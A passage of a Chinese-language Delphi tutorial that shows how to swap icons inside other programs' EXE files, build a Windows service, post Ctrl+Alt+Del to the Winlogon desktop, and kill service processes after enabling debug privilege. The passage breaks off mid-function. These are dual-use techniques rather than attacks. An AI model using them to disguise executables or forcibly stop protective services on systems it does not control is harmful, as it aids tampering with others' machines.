可能大家还记得我曾经写过一篇<<用Delphi在局域网中实现网上影院>>,就是在局部网内一台电脑播放视频文件整个局部网的电脑都可以收到.那个采用的是隐形动态共享的办法.但是那个方法有个致命的弱点,就是当播放的是光盘文件而不是磁盘文件的时候,当几个人同时访问光驱就不行了.所以那个是取巧的方法.真正的方法是采用流.或者在数据头伪造Mediaplay Server服务器.这样一来无论是磁盘文件还是光盘文件,实际上都是服务器一台电脑读数据而已,就不会发生上面的情况了.具体程序可以在我的主页http://www.138soft.com下载.但是如果对这些不熟练怎么办?哈哈,你还是可以采用取巧的方法:服务端开两个线程,一个发送文件头,另外一个发送数据.客户端也开两个线程,一个接收数据保存为文件,另外一个播放.比如说每个文件为4MB,接收完第一个后开始播放同时继续接收第二个.播放完第一个就删除并播放第二个文件.实际上,早期的DVB就是这样做的.

三:图标文件ICO格式程序编程
Windows下的可执行文件大多都有一个图标的.如果这个程序是你自己编写的,那么你可以轻松的在编译为EXE之前把图标更换掉.但是如果这个EXE不是你的呢?怎么办?当然是用工具了.ResHacker(资源黑客)就是一个很好的工具.但是如果想自己编写程序来实现呢?
图标在可执行文件里面实际上是一项资源.Windows提供了一个API函数来取出EXE里面的图标.函数原型为:HICON ExtractIcon(HINSTANCE hInst,LPCTSTR lpszExeFileName,UINT nIconIndex);其中第一个参数为实例句柄,第二个参数为需要操作的EXE,DLL,BMP或ICON等包含有图标资源的文件名,第三个参数为需要取出的图标在该EXE里面的索引(因为一个EXE文件里面可能含有多个图标).如果这个参数为0,那么将返回第一个图标,如果这个参数为-1,将返回该文件可能含有的所有图标数.如果该文件含有该索引图标,函数将返回该图标的句柄,否则返回值NULL.
那么,到底我们应该怎么样才能更换一个EXE的图标呢?如果你熟悉PE文件结构的话就很简单了.不过PE文件格式是比较复杂的,讲述它的话要费很大篇幅.实际上,你可以这样简单的看一个EXE文件的组成:EXE文件=文件头之类+图标资源+文件尾.也就是说,你不用管它的文件头和文件尾之类,只要找到图标在该EXE里面的位置,然后用你的图标覆盖它即可.
不过需要注意的是,图标是有多种格式的,比如说16X16的16色,32X32的16色,16X16的32色等等.用这种方法更换图标的话必须注意格式要一致.另外,ExtractIcon函数返回的将是32X32的16色图标.这是个很有趣的地方.也就是说,无论你操作的文件或图标格式是怎么样,它取出的都是32X32的16色图标.而Delphi默认的那个图标就是这个格式的.
我们打开Delphi,新建一个工程.直接编译后退出.这个得到的EXE我们将用来做"实验品".再新建一个工程,这个才是我们真正要写的程序.往窗口添加两个名字分别为Next_Icon, Prev_Icon的TSpeedButton.作用是枚举图标的.添加一个Image1用来显示图标.一个名为Edit_SourceFile的TEdit用来显示选择要取出的EXE之类的文件名称.一个OpenDialog,一个SaveDialog和三个Button.最后记得在Use部分添加ShellApi.全部代码如下:
unit Unit1;

interface

uses
ShellApi{必须添加此单元}, Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;

type
TForm1 = class(TForm)
Next_Icon: TSpeedButton;
Prev_Icon: TSpeedButton;
Image1: TImage;
Edit_SourceFile: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure Prev_IconClick(Sender: TObject);
procedure Next_IconClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
procedure Extract_Icon;
function ChangeExeIcon(ExeFile,IconFile:string;Index:Integer=0):Boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Icon_Index: integer;
implementation

{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Caption:=’取出图标’;
Button2.Caption:=’保存图标’;
Button3.Caption:=’更换图标’;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Filter := ‘所有支持类型(*.EXE,*.DLL,*.OCX,*.ICL,*.ICO,*.BMP)|*.exe;*.dll;*.ocx;*.icl;*.ico;*.bmp|所有文件 (*.*)|*.*’;
if OpenDialog1.Execute
then
begin
Edit_SourceFile.Text := OpenDialog1.Filename;
Icon_Index := 0;
Extract_Icon;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SaveDialog1.Filter :=’图标文件(*.ICO)|*.ico’;
if SaveDialog1.Execute then
begin
if Copy(SaveDialog1.FileName, Length(SaveDialog1.FileName)-3, 1) = ‘.’ then
Image1.Picture.Icon.SaveToFile(SaveDialog1.FileName)
else
Image1.Picture.Icon.SaveToFile(SaveDialog1.FileName + ‘.ico’);
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
ExeFile:String;
begin
OpenDialog1.Filter := ‘EXE文件(*.EXE)|*.exe’;
OpenDialog1.Title:=’请选择需要更换图标的EXE’;
if OpenDialog1.Execute then
begin
ExeFile:=OpenDialog1.FileName;
OpenDialog1.Filter := ‘图标文件(*.ICO)|*.ico’;
OpenDialog1.Title:=’请选择需要更换的图标文件’;
OpenDialog1.FileName:=”;{Clear the Old Filename}
if OpenDialog1.Execute then
if ChangeExeIcon(ExeFile,OpenDialog1.FileName) then
Application.MessageBox(‘更换图标成功!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK)
else
Application.MessageBox(‘更换图标失败!’,Pchar(Application.Title),MB_ICONERROR+MB_OK)
else
Exit; {Not Select Icon File}
end;
end;

procedure TForm1.Prev_IconClick(Sender: TObject); //枚举前一个图标
begin
if not (FileExists(Edit_SourceFile.Text)) or (Icon_Index <= 0) then Exit;
Icon_Index := Icon_Index – 1;
Extract_Icon;
end;

procedure TForm1.Next_IconClick(Sender: TObject);//枚举下一个图标
begin
if not (FileExists(Edit_SourceFile.Text)) then Exit;
Icon_Index := Icon_Index + 1;
Extract_Icon;
end;

procedure TForm1.Extract_Icon;
var
icon_handle: Longint;
buffer: array[0..1024] of Char;
begin
if not (FileExists(Edit_SourceFile.Text)) then Exit;

StrPCopy(Buffer, Edit_SourceFile.Text);
icon_handle := ExtractIcon(self.Handle, buffer, icon_index);

if Icon_Handle = 0 {Did we get a valid handle back?}
then
begin {No}
if Icon_Index = 0 {Is this the first icon in the file?}
then {Yes. There can’t be any icons in this file}
begin
Application.MessageBox(‘这个文件没有发现图标,请重新选择!’,'信息’,MB_ICONINFORMATION+MB_OK);
Image1.Visible := False;
end
else {No. We must have gone beyond the limit. Step back}
Icon_Index := Icon_Index – 1;
Exit;
end;
{We now have our extracted icon. Save it to a temp file in readiness for the modifocation}
Image1.Picture.Icon.Handle := icon_handle;
Image1.Visible := True;
end;

function TForm1.ChangeExeIcon(ExeFile,IconFile:string;Index:Integer=0):Boolean;
var
TempStream,NewIconMemoryStream:TMemoryStream;
OldIconStrings,ExeStrings,ExeIconStrings:TStringStream;
ExeIcon:TIcon;
IconPosition,IconLength,IconHeadLength:Integer;
IconHandle:HICON;
ExeFileStream,IconFileStream:TFileStream;
begin
Result:=False;
IconHeadLength:=126;
if (not FileExists(ExeFile)) or (not FileExists(IconFile)) then Exit;
try
ExeFileStream:=TFileStream.Create(ExeFile,fmOpenReadWrite+fmShareDenyWrite);
ExeStrings:=TStringStream.Create(”);
ExeStrings.Position:=0;
ExeFileStream.Position:=0;
ExeStrings.CopyFrom(ExeFileStream,0);
ExeIcon:=TIcon.Create;
IconHandle:=ExtractIcon(Application.Handle,Pchar(ExeFile),Index);
if IconHandle<=1 then
begin
Application.MessageBox(‘EXE中没有找到该序列的图标!’,Pchar(Application.Title),MB_ICONERROR+MB_OK);
Exit;
end;
ExeIcon.Handle:=IconHandle;
ExeIconStrings:=TStringStream.Create(”);
ExeIcon.SaveToStream(ExeIconStrings);
ExeIcon.Free;
ExeIcon:=nil;
IconLength:=ExeIconStrings.Size-IconHeadLength;
ExeIconStrings.Position:=IconHeadLength;
OldIconStrings:=TStringStream.Create(”);
OldIconStrings.Position:=0;
ExeIconStrings.Position:=IconHeadLength;
OldIconStrings.CopyFrom(ExeIconStrings,IconLength);
ExeIconStrings.Free;
IconPosition:=Pos(OldIconStrings.DataString,ExeStrings.DataString);
ExeStrings.Free;
ExeStrings:=nil;
OldIconStrings.Free;
IconFileStream:=TFileStream.Create(IconFile,fmOpenRead+fmShareDenyNone);
NewIconMemoryStream:=TMemoryStream.Create;
IconFileStream.Position:=IconHeadLength;
NewIconMemoryStream.Position:=0;
NewIconMemoryStream.CopyFrom(IconFileStream,IconFileStream.Size-IconHeadLength);
IconFileStream.Free;
if IconPosition<=0 then
begin
Application.MessageBox(‘EXE中没有找到该图标的数据!’,Pchar(Application.Title),MB_ICONERROR+MB_OK);
Exit;
end;

if IconLength<>NewIconMemoryStream.Size then
begin
TempStream:=TMemoryStream.Create;
ExeFileStream.Position:=IconPosition+IconLength-1;
TempStream.Position:=0;
TempStream.CopyFrom(ExeFileStream,ExeFileStream.Size-ExeFileStream.Position);
ExeFileStream.Position:=IconPosition-1;
NewIconMemoryStream.Position:=0;
ExeFileStream.CopyFrom(NewIconMemoryStream,0);
TempStream.Position:=0;
ExeFileStream.CopyFrom(TempStream,0);
ExeFileStream.Position:=0;
ExeFileStream.Size:=IconPosition+IconLength-1+TempStream.Size;
TempStream.Free;
end
else
begin
ExeFileStream.Position:=IconPosition-1;
NewIconMemoryStream.Position:=0;
ExeFileStream.CopyFrom(NewIconMemoryStream,0);
end;
NewIconMemoryStream.Free;
Result:=True;
finally
ExeFileStream.Free;
end;
end;
end.
运行程序,点"取出图标",选择一个EXE,然后点"保存图标"将其ICO保存为文件.然后点"更换图标",选择我们刚才编译得到的"实验品"和取出的图标,即可将图标更改掉了.
自定义函数ChangeExeIcon的实现过程如下:先用ExtractIcon将图标释放出来保存为文件,然后将其与EXE比较在该EXE里面找到图标的位置,然后将新图标的内容覆盖原来的图标.实际上,这个查找过程还不够完美,因为它将两者都转化为TStringStream再比较,如果EXE文件很大的话是很费内存的.Delphi本身提供了一个例子用来查找位置的,该例子位于Delphi5DemosResxplor下,读者可以结合它来作出高效的图标更换工具.

用Delphi创建服务程序

陈经韬
    Windows 2000/XP和2003等支持一种叫做"服务程序"的东西.程序作为服务启动有以下几个好处:

    (1)不用登陆进系统即可运行.
    (2)具有SYSTEM特权.所以你在进程管理器里面是无法结束它的.

    笔者在2003年为一公司开发机顶盒项目的时候,曾经写过课件上传和媒体服务,下面就介绍一下如何用Delphi7创建一个Service程序.

    运行Delphi7,选择菜单File–>New–>Other—>Service Application.将生成一个服务程序的框架.将工程保存为ServiceDemo.dpr和Unit_Main.pas,然后回到主框架.我们注意到,Service有几个属性.其中以下几个是我们比较常用的:

    (1)DisplayName:服务的显示名称
    (2)Name:服务名称.

    我们在这里将DisplayName的值改为"Delphi服务演示程序",Name改为"DelphiService".编译这个项目,将得到ServiceDemo.exe.这已经是一个服务程序了!进入CMD模式,切换致工程所在目录,运行命令"ServiceDemo.exe /install",将提示服务安装成功!然后"net start DelphiService"将启动这个服务.进入控制面版–>管理工具–>服务,将显示这个服务和当前状态.不过这个服务现在什么也干不了,因为我们还没有写代码:)先"net stop DelphiService"停止再"ServiceDemo.exe /uninstall"删除这个服务.回到Delphi7的IDE.

    我们的计划是为这个服务添加一个主窗口,运行后任务栏显示程序的图标,双击图标将显示主窗口,上面有一个按钮,点击该按钮将实现Ctrl+Alt+Del功能.

    实际上,服务程序莫认是工作于Winlogon桌面的,可以打开控制面板,查看我们刚才那个服务的属性–>登陆,其中"允许服务与桌面交互"是不打钩的.怎么办?呵呵,回到IDE,注意那个布尔属性:Interactive,当这个属性为True的时候,该服务程序就可以与桌面交互了.

    File–>New–>Form为服务添加窗口FrmMain,单元保存为Unit_FrmMain,并且把这个窗口设置为手工创建.完成后的代码如下:

unit Unit_Main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs, Unit_FrmMain;

type
TDelphiService = class(TService)
procedure ServiceContinue(Sender: TService; var Continued: Boolean);
procedure ServiceExecute(Sender: TService);
procedure ServicePause(Sender: TService; var Paused: Boolean);
procedure ServiceShutdown(Sender: TService);
procedure ServiceStart(Sender: TService; var Started: Boolean);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
private
{ Private declarations }
public
function GetServiceController: TServiceController; override;
{ Public declarations }
end;

var
DelphiService: TDelphiService;
FrmMain: TFrmMain;
implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
DelphiService.Controller(CtrlCode);
end;

function TDelphiService.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;

procedure TDelphiService.ServiceContinue(Sender: TService;
var Continued: Boolean);
begin
while not Terminated do
begin
Sleep(10);
ServiceThread.ProcessRequests(False);
end;
end;

procedure TDelphiService.ServiceExecute(Sender: TService);
begin
while not Terminated do
begin
Sleep(10);
ServiceThread.ProcessRequests(False);
end;
end;

procedure TDelphiService.ServicePause(Sender: TService;
var Paused: Boolean);
begin
Paused := True;
end;

procedure TDelphiService.ServiceShutdown(Sender: TService);
begin
gbCanClose := true;
FrmMain.Free;
Status := csStopped;
ReportStatus();
end;

procedure TDelphiService.ServiceStart(Sender: TService;
var Started: Boolean);
begin
Started := True;
Svcmgr.Application.CreateForm(TFrmMain, FrmMain);
gbCanClose := False;
FrmMain.Hide;
end;

procedure TDelphiService.ServiceStop(Sender: TService;
var Stopped: Boolean);
begin
Stopped := True;
gbCanClose := True;
FrmMain.Free;
end;

end.

主窗口单元如下:

unit Unit_FrmMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, ShellApi, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

const
WM_TrayIcon = WM_USER + 1234;
type
TFrmMain = class(TForm)
Timer1: TTimer;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
IconData: TNotifyIconData;
procedure AddIconToTray;
procedure DelIconFromTray;
procedure TrayIconMessage(var Msg: TMessage); message WM_TrayIcon;
procedure SysButtonMsg(var Msg: TMessage); message WM_SYSCOMMAND;
public
{ Public declarations }
end;

var
FrmMain: TFrmMain;
gbCanClose: Boolean;
implementation

{$R *.dfm}

procedure TFrmMain.FormCreate(Sender: TObject);
begin
FormStyle := fsStayOnTop; {窗口最前}
SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW); {不在任务栏显示}
gbCanClose := False;
Timer1.Interval := 1000;
Timer1.Enabled := True;
end;

procedure TFrmMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := gbCanClose;
if not CanClose then
begin
Hide;
end;
end;

procedure TFrmMain.FormDestroy(Sender: TObject);
begin
Timer1.Enabled := False;
DelIconFromTray;
end;

procedure TFrmMain.AddIconToTray;
begin
ZeroMemory(@IconData, SizeOf(TNotifyIconData));
IconData.cbSize := SizeOf(TNotifyIconData);
IconData.Wnd := Handle;
IconData.uID := 1;
IconData.uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
IconData.uCallbackMessage := WM_TrayIcon;
IconData.hIcon := Application.Icon.Handle;
IconData.szTip := ‘Delphi服务演示程序’;
Shell_NotifyIcon(NIM_ADD, @IconData);
end;

procedure TFrmMain.DelIconFromTray;
begin
Shell_NotifyIcon(NIM_DELETE, @IconData);
end;

procedure TFrmMain.SysButtonMsg(var Msg: TMessage);
begin
if (Msg.wParam = SC_CLOSE) or
(Msg.wParam = SC_MINIMIZE) then Hide
else inherited; // 执行默认动作
end;

procedure TFrmMain.TrayIconMessage(var Msg: TMessage);
begin
if (Msg.LParam = WM_LBUTTONDBLCLK) then Show();
end;

procedure TFrmMain.Timer1Timer(Sender: TObject);
begin
AddIconToTray;
end;

procedure SendHokKey;stdcall;
var
HDesk_WL: HDESK;
begin
HDesk_WL := OpenDesktop (‘Winlogon’, 0, False, DESKTOP_JOURNALPLAYBACK);
if (HDesk_WL <> 0) then
if (SetThreadDesktop (HDesk_WL) = True) then
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG (MOD_ALT or MOD_CONTROL, VK_DELETE));
end;

procedure TFrmMain.Button1Click(Sender: TObject);
var
dwThreadID : DWORD;
begin
CreateThread(nil, 0, @SendHokKey, nil, 0, dwThreadID);
end;

end.

补充:
(1)关于更多服务程序的演示程序,请访问以下Url:http://www.torry.net/pages.php?id=226,上面包含了多个演示如何控制和管理系统服务的代码.

(2)请切记:Windows实际上存在多个桌面.例如屏幕传输会出现白屏,可能有两个原因:一是系统处于锁定或未登陆桌面,二是处于屏幕保护桌面.这时候要将当前桌面切换到该桌面才能抓屏.

(3)关于服务程序与桌面交互,还有种动态切换方法.大概单元如下:
unit ServiceDesktop;

interface

function InitServiceDesktop: boolean;
procedure DoneServiceDeskTop;

implementation

uses Windows, SysUtils;

const
DefaultWindowStation = ‘WinSta0′;
DefaultDesktop = ‘Default’;
var
hwinstaSave: HWINSTA;
hdeskSave: HDESK;
hwinstaUser: HWINSTA;
hdeskUser: HDESK;
function InitServiceDesktop: boolean;
var
dwThreadId: DWORD;
begin
dwThreadId := GetCurrentThreadID;
// Ensure connection to service window station and desktop, and
// save their handles.
hwinstaSave := GetProcessWindowStation;
hdeskSave := GetThreadDesktop(dwThreadId);


hwinstaUser := OpenWindowStation(DefaultWindowStation, FALSE, MAXIMUM_ALLOWED);
if hwinstaUser = 0 then
begin
OutputDebugString(PChar(‘OpenWindowStation failed’ + SysErrorMessage(GetLastError)));
Result := false;
exit;
end;

if not SetProcessWindowStation(hwinstaUser) then
begin
OutputDebugString(‘SetProcessWindowStation failed’);
Result := false;
exit;
end;

hdeskUser := OpenDesktop(DefaultDesktop, 0, FALSE, MAXIMUM_ALLOWED);
if hdeskUser = 0 then
begin
OutputDebugString(‘OpenDesktop failed’);
SetProcessWindowStation(hwinstaSave);
CloseWindowStation(hwinstaUser);
Result := false;
exit;
end;
Result := SetThreadDesktop(hdeskUser);
if not Result then
OutputDebugString(PChar(‘SetThreadDesktop’ + SysErrorMessage(GetLastError)));
end;

procedure DoneServiceDeskTop;
begin
// Restore window station and desktop.
SetThreadDesktop(hdeskSave);
SetProcessWindowStation(hwinstaSave);
if hwinstaUser <> 0 then
CloseWindowStation(hwinstaUser);
if hdeskUser <> 0 then
CloseDesktop(hdeskUser);
end;

initialization
InitServiceDesktop;
finalization
DoneServiceDesktop;
end.
更详细的演示代码请参看:http://www.torry.net/samples/samples/os/isarticle.zip

(4)关于安装服务如何添加服务描述.有两种方法:一是修改注册表.服务的详细信息都位于HKEY_LOCAL_MACHINESYSTEMControlSet001Services下面,例如我们刚才那个服务就位于HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesDelphiService下.第二种方法就是先用QueryServiceConfig2函数获取服务信息,然后ChangeServiceConfig2来改变描述.用Delphi实现的话,单元如下:

unit WinSvcEx;

interface

uses Windows, WinSvc;

const
//
// Service config info levels
//
SERVICE_CONFIG_DESCRIPTION = 1;
SERVICE_CONFIG_FAILURE_ACTIONS = 2;

//
// DLL name of imported functions
//
AdvApiDLL = ‘advapi32.dll’;
type
//
// Service description string
//
PServiceDescriptionA = ^TServiceDescriptionA;
PServiceDescriptionW = ^TServiceDescriptionW;
PServiceDescription = PServiceDescriptionA;
{$EXTERNALSYM _SERVICE_DESCRIPTIONA}
_SERVICE_DESCRIPTIONA = record
lpDescription : PAnsiChar;
end;
{$EXTERNALSYM _SERVICE_DESCRIPTIONW}
_SERVICE_DESCRIPTIONW = record
lpDescription : PWideChar;
end;
{$EXTERNALSYM _SERVICE_DESCRIPTION}
_SERVICE_DESCRIPTION = _SERVICE_DESCRIPTIONA;
{$EXTERNALSYM SERVICE_DESCRIPTIONA}
SERVICE_DESCRIPTIONA = _SERVICE_DESCRIPTIONA;
{$EXTERNALSYM SERVICE_DESCRIPTIONW}
SERVICE_DESCRIPTIONW = _SERVICE_DESCRIPTIONW;
{$EXTERNALSYM SERVICE_DESCRIPTION}
SERVICE_DESCRIPTION = _SERVICE_DESCRIPTIONA;
TServiceDescriptionA = _SERVICE_DESCRIPTIONA;
TServiceDescriptionW = _SERVICE_DESCRIPTIONW;
TServiceDescription = TServiceDescriptionA;

//
// Actions to take on service failure
//
{$EXTERNALSYM _SC_ACTION_TYPE}
_SC_ACTION_TYPE = (SC_ACTION_NONE, SC_ACTION_RESTART, SC_ACTION_REBOOT, SC_ACTION_RUN_COMMAND);
{$EXTERNALSYM SC_ACTION_TYPE}
SC_ACTION_TYPE = _SC_ACTION_TYPE;

PServiceAction = ^TServiceAction;
{$EXTERNALSYM _SC_ACTION}
_SC_ACTION = record
aType : SC_ACTION_TYPE;
Delay : DWORD;
end;
{$EXTERNALSYM SC_ACTION}
SC_ACTION = _SC_ACTION;
TServiceAction = _SC_ACTION;

PServiceFailureActionsA = ^TServiceFailureActionsA;
PServiceFailureActionsW = ^TServiceFailureActionsW;
PServiceFailureActions = PServiceFailureActionsA;
{$EXTERNALSYM _SERVICE_FAILURE_ACTIONSA}
_SERVICE_FAILURE_ACTIONSA = record
dwResetPeriod : DWORD;
lpRebootMsg : LPSTR;
lpCommand : LPSTR;
cActions : DWORD;
lpsaActions : ^SC_ACTION;
end;
{$EXTERNALSYM _SERVICE_FAILURE_ACTIONSW}
_SERVICE_FAILURE_ACTIONSW = record
dwResetPeriod : DWORD;
lpRebootMsg : LPWSTR;
lpCommand : LPWSTR;
cActions : DWORD;
lpsaActions : ^SC_ACTION;
end;
{$EXTERNALSYM _SERVICE_FAILURE_ACTIONS}
_SERVICE_FAILURE_ACTIONS = _SERVICE_FAILURE_ACTIONSA;
{$EXTERNALSYM SERVICE_FAILURE_ACTIONSA}
SERVICE_FAILURE_ACTIONSA = _SERVICE_FAILURE_ACTIONSA;
{$EXTERNALSYM SERVICE_FAILURE_ACTIONSW}
SERVICE_FAILURE_ACTIONSW = _SERVICE_FAILURE_ACTIONSW;
{$EXTERNALSYM SERVICE_FAILURE_ACTIONS}
SERVICE_FAILURE_ACTIONS = _SERVICE_FAILURE_ACTIONSA;
TServiceFailureActionsA = _SERVICE_FAILURE_ACTIONSA;
TServiceFailureActionsW = _SERVICE_FAILURE_ACTIONSW;
TServiceFailureActions = TServiceFailureActionsA;

///////////////////////////////////////////////////////////////////////////
// API Function Prototypes
///////////////////////////////////////////////////////////////////////////
TQueryServiceConfig2 = function (hService : SC_HANDLE; dwInfoLevel : DWORD; lpBuffer : pointer;
cbBufSize : DWORD; var pcbBytesNeeded) : BOOL; stdcall;
TChangeServiceConfig2 = function (hService : SC_HANDLE; dwInfoLevel : DWORD; lpInfo : pointer) : BOOL; stdcall;

var
hDLL : THandle ;
LibLoaded : boolean ;

var
OSVersionInfo : TOSVersionInfo;

{$EXTERNALSYM QueryServiceConfig2A}
QueryServiceConfig2A : TQueryServiceConfig2;
{$EXTERNALSYM QueryServiceConfig2W}
QueryServiceConfig2W : TQueryServiceConfig2;
{$EXTERNALSYM QueryServiceConfig2}
QueryServiceConfig2 : TQueryServiceConfig2;

{$EXTERNALSYM ChangeServiceConfig2A}
ChangeServiceConfig2A : TChangeServiceConfig2;
{$EXTERNALSYM ChangeServiceConfig2W}
ChangeServiceConfig2W : TChangeServiceConfig2;
{$EXTERNALSYM ChangeServiceConfig2}
ChangeServiceConfig2 : TChangeServiceConfig2;

implementation

initialization
OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
GetVersionEx(OSVersionInfo);
if (OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) and (OSVersionInfo.dwMajorVersion >= 5) then
begin
if hDLL = 0 then
begin
hDLL:=GetModuleHandle(AdvApiDLL);
LibLoaded := False;
if hDLL = 0 then
begin
hDLL := LoadLibrary(AdvApiDLL);
LibLoaded := True;
end;
end;

if hDLL <> 0 then
begin
@QueryServiceConfig2A := GetProcAddress(hDLL, ‘QueryServiceConfig2A’);
@QueryServiceConfig2W := GetProcAddress(hDLL, ‘QueryServiceConfig2W’);
@QueryServiceConfig2 := @QueryServiceConfig2A;
@ChangeServiceConfig2A := GetProcAddress(hDLL, ‘ChangeServiceConfig2A’);
@ChangeServiceConfig2W := GetProcAddress(hDLL, ‘ChangeServiceConfig2W’);
@ChangeServiceConfig2 := @ChangeServiceConfig2A;
end;
end
else
begin
@QueryServiceConfig2A := nil;
@QueryServiceConfig2W := nil;
@QueryServiceConfig2 := nil;
@ChangeServiceConfig2A := nil;
@ChangeServiceConfig2W := nil;
@ChangeServiceConfig2 := nil;
end;

finalization
if (hDLL <> 0) and LibLoaded then
FreeLibrary(hDLL);

end.

unit winntService;

interface

uses
Windows,WinSvc,WinSvcEx;

function InstallService(const strServiceName,strDisplayName,strDescription,strFilename: string):Boolean;
//eg:InstallService(‘服务名称’,'显示名称’,'描述信息’,'服务文件’);
procedure UninstallService(strServiceName:string);
implementation

function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
PUSH EDI
PUSH ESI
PUSH EBX
MOV ESI,EAX
MOV EDI,EDX
MOV EBX,ECX
XOR AL,AL
TEST ECX,ECX
JZ @@1
REPNE SCASB
JNE @@1
INC ECX
@@1: SUB EBX,ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,EDI
MOV ECX,EBX
SHR ECX,2
REP MOVSD
MOV ECX,EBX
AND ECX,3
REP MOVSB
STOSB
MOV EAX,EDX
POP EBX
POP ESI
POP EDI
end;

function StrPCopy(Dest: PChar; const Source: string): PChar;
begin
Result := StrLCopy(Dest, PChar(Source), Length(Source));
end;

function InstallService(const strServiceName,strDisplayName,strDescription,strFilename: string):Boolean;
var
//ss : TServiceStatus;
//psTemp : PChar;
hSCM,hSCS:THandle;

srvdesc : PServiceDescription;
desc : string;
//SrvType : DWord;

lpServiceArgVectors:pchar;
begin
Result:=False;
//psTemp := nil;
//SrvType := SERVICE_WIN32_OWN_PROCESS and SERVICE_INTERACTIVE_PROCESS;
hSCM:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);//连接服务数据库
if hSCM=0 then Exit;//MessageBox(hHandle,Pchar(SysErrorMessage(GetLastError)),’服务程序管理器’,MB_ICONERROR+MB_TOPMOST);


hSCS:=CreateService( //创建服务函数
hSCM, // 服务控制管理句柄
Pchar(strServiceName), // 服务名称
Pchar(strDisplayName), // 显示的服务名称
SERVICE_ALL_ACCESS, // 存取权利
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,// 服务类型 SERVICE_WIN32_SHARE_PROCESS
SERVICE_AUTO_START, // 启动类型
SERVICE_ERROR_IGNORE, // 错误控制类型
Pchar(strFilename), // 服务程序
nil, // 组服务名称
nil, // 组标识
nil, // 依赖的服务
nil, // 启动服务帐号
nil); // 启动服务口令
if hSCS=0 then Exit;//MessageBox(hHandle,Pchar(SysErrorMessage(GetLastError)),Pchar(Application.Title),MB_ICONERROR+MB_TOPMOST);

if Assigned(ChangeServiceConfig2) then
begin
desc := Copy(strDescription,1,1024);
GetMem(srvdesc,SizeOf(TServiceDescription));
GetMem(srvdesc^.lpDescription,Length(desc) + 1);
try
StrPCopy(srvdesc^.lpDescription, desc);
ChangeServiceConfig2(hSCS,SERVICE_CONFIG_DESCRIPTION,srvdesc);
finally
FreeMem(srvdesc^.lpDescription);
FreeMem(srvdesc);
end;
end;
lpServiceArgVectors := nil;
if not StartService(hSCS, 0, lpServiceArgVectors) then //启动服务
Exit; //MessageBox(hHandle,Pchar(SysErrorMessage(GetLastError)),Pchar(Application.Title),MB_ICONERROR+MB_TOPMOST);
CloseServiceHandle(hSCS); //关闭句柄
Result:=True;
end;

procedure UninstallService(strServiceName:string);
var
SCManager: SC_HANDLE;
Service: SC_HANDLE;
Status: TServiceStatus;
begin
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
Service := OpenService(SCManager, Pchar(strServiceName), SERVICE_ALL_ACCESS);
ControlService(Service, SERVICE_CONTROL_STOP, Status);
DeleteService(Service);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;
end;

end.

(5)如何暴力关闭一个服务程序,实现我们以前那个"NT工具箱"的功能?首先,根据进程名称来杀死进程是用以下函数:
uses Tlhelp32;

function KillTask(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE,
BOOL(0),
FProcessEntry32.th32ProcessID),
0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

但是对于服务程序,它会提示"拒绝访问".其实只要程序拥有Debug权限即可:
function EnableDebugPrivilege: Boolean;
function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;
var
TP: TOKEN_PRIVILEGES;
Dummy: Cardinal;
begin
TP.PrivilegeCount := 1;
LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);
if bEnable then
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else TP.Privileges[0].Attributes := 0;
